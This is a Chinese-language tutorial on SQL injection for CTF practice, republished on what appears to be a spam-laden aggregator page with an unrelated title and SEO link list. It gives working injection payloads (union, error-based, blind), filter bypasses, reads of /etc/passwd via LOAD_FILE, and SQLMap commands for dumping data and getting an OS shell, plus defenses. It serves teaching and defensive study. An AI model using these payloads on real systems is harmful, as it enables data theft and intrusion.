当前位置: 首页 > news >正文

陶瓷网站制作广告联盟全自动赚钱系统

陶瓷网站制作,广告联盟全自动赚钱系统,wordpress 二次开发 sso,6间房直播文章目录 一、什么是SQL注入?二、常见SQL注入类型三、手动注入步骤(以CTF题目为例)四、CTF实战技巧五、自动化工具:SQLMap六、防御措施七、CTF例题八、资源推荐 一、什么是SQL注入? SQL注入是一种通过用户输入构造恶意…

文章目录

    • 一、什么是SQL注入?
    • 二、常见SQL注入类型
    • 三、手动注入步骤(以CTF题目为例)
    • 四、CTF实战技巧
    • 五、自动化工具:SQLMap
    • 六、防御措施
    • 七、CTF例题
    • 八、资源推荐

一、什么是SQL注入?

SQL注入是一种通过用户输入构造恶意SQL语句,干扰后端数据库查询逻辑的攻击方式。攻击者可通过注入获取敏感数据、篡改数据库或执行系统命令。


二、常见SQL注入类型

  1. 联合查询注入(Union-Based)
    利用UNION SELECT拼接查询结果,直接回显数据。

    ' UNION SELECT username, password FROM users--

  2. 报错注入(Error-Based)
    通过触发数据库报错泄露信息(如MySQL的updatexmlextractvalue)。

    ' AND updatexml(1, concat(0x7e, (SELECT user())), 1)--

  3. 布尔盲注(Boolean-Based Blind)
    通过页面返回的真假状态推断数据(如返回内容差异或HTTP状态码)。

    ' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'--

  4. 时间盲注(Time-Based Blind)
    通过延时响应判断条件是否成立(如MySQL的sleep())。

    ' AND IF(1=1, SLEEP(5), 0)--


三、手动注入步骤(以CTF题目为例)

  1. 检测注入点

    • 输入单引号'触发数据库错误(如You have an error in your SQL syntax)。

    • 测试逻辑条件:

      id=1' AND 1=1-- (页面正常) id=1' AND 1=2-- (页面异常)

  2. 确定字段数(ORDER BY)

    ' ORDER BY 3-- (无报错) ' ORDER BY 4-- (报错→字段数为3)

  3. 联合查询获取数据

    ' UNION SELECT 1,2,3-- (确定回显位) ' UNION SELECT database(), user(), version()--

  4. 提取表名与列名

    ' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'--

  5. 获取敏感数据

    ' UNION SELECT 1, username, password FROM users--


四、CTF实战技巧

  1. 绕过过滤

    • 大小写绕过UnIoN SeLeCt(部分过滤器不区分大小写)。
    • 注释符-- (空格)、#/*...*/
    • 编码绕过:URL编码(%27代替')、十六进制(0x...)。
    • 空格绕过:用/**/+代替空格(如UNION/**/SELECT)。
  2. 利用字符串拼接

    • MySQL:'||'1'='1'' OR '1'='1
    • SQLite:'||1=1--
  3. 利用数据库特性

    • MySQLLOAD_FILE('/etc/passwd')读取文件。
    • PostgreSQLpg_read_file('/etc/passwd')
    • SQLitesqlite_version()获取版本。

五、自动化工具:SQLMap

  1. 基本用法

    sqlmap -u "http://target.com/page?id=1" --dbs # 获取所有数据库名 sqlmap -u "http://target.com/page?id=1" -D dbname --tables # 获取表名 sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # 导出数据

  2. 高级参数

    • --level=3:提高检测等级(包含Cookie注入)。
    • --risk=3:允许高风险操作(如文件写入)。
    • --os-shell:尝试获取系统Shell(需高权限)。

六、防御措施

  1. 参数化查询(预编译)

    Python

    # Python示例(使用SQLAlchemy) result = db.session.execute('SELECT * FROM users WHERE id = :id', {'id': user_id})

  2. 输入过滤

    • 过滤特殊字符(' " ; --)。
    • 限制输入类型(如数字类型强制转换为整数)。
  3. 最小权限原则

    • 数据库用户仅授予必要权限(禁止FILEEXECUTE等)。

七、CTF例题

  1. 题目:登录页面存在SQL注入,获取管理员密码。

    SQL

    ' OR 1=1 -- ' UNION SELECT null, password FROM users WHERE username='admin'--

  2. 题目:过滤了空格和UNION,利用盲注获取数据。

    SQL

    '||(SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN SLEEP(5) ELSE 0 END FROM users)#


八、资源推荐

  • 练习平台
    • PortSwigger SQLi Labs(https://portswigger.net/web-security/sql-injection)
    • SQLi Labs(GitHub开源靶场)
  • 深入阅读
    • 《SQL注入攻击与防御(第2版)》
    • OWASP SQL Injection Cheat Sheet
http://www.yidumall.com/news/81682.html

相关文章:

  • 鹤壁网站建设兼职友好链接
  • 网站开发要学哪些东莞网站营销推广
  • 十堰做网站的有哪些网络平台建设及运营方案
  • 网站建立时间查询2024年新闻时事热点论文
  • 什么网站做淘宝素材比较好天津百度网络推广
  • 做理财网站 程序员 违法吗网站推广网络推广
  • 国外引流推广平台seo网络推广培训班
  • 谷歌sem和seo区别seo网络推广案例
  • 公安网站建设方案书网站点击率查询
  • 网站中使用特殊字体公司网页制作流程
  • 帝国cms 做的完整的网站有没有网络优化师是什么工作
  • 免费dedecms企业网站模板想开个网站怎样开
  • 网站建设后台管理便捷最好用的免费建站平台
  • 网站方案案例怎么做seo专员工作容易学吗
  • 哪个公司的网站做的好郑州网站建设用户
  • 做房间预定网站需要什么软件成都企业seo
  • 个人备案的网站可以做商城吗百度收录权重
  • 在哪个网站做流程图比较好看百度快照替代
  • 网站开发支付功能怎么做苏州关键词优化怎样
  • 云服务器gpu租用windows优化大师使用方法
  • ui网站推荐百度保障平台 客服
  • 万网云服务器网站上线semir是什么牌子衣服
  • 网站加一个会员登陆怎么做seo的内容怎么优化
  • 玉娇龙儿wordpress青岛seo
  • 个人网站开发的感想网络平台推广运营公司
  • 做响应式网站的无锡网络优化推广公司
  • 2018做网站前景好么seo实战培训教程
  • 洛阳做网站公司汉狮价格站点查询
  • 网站开发浏览器的使用seo上排名
  • 中国自适应网站建设steam交易链接怎么用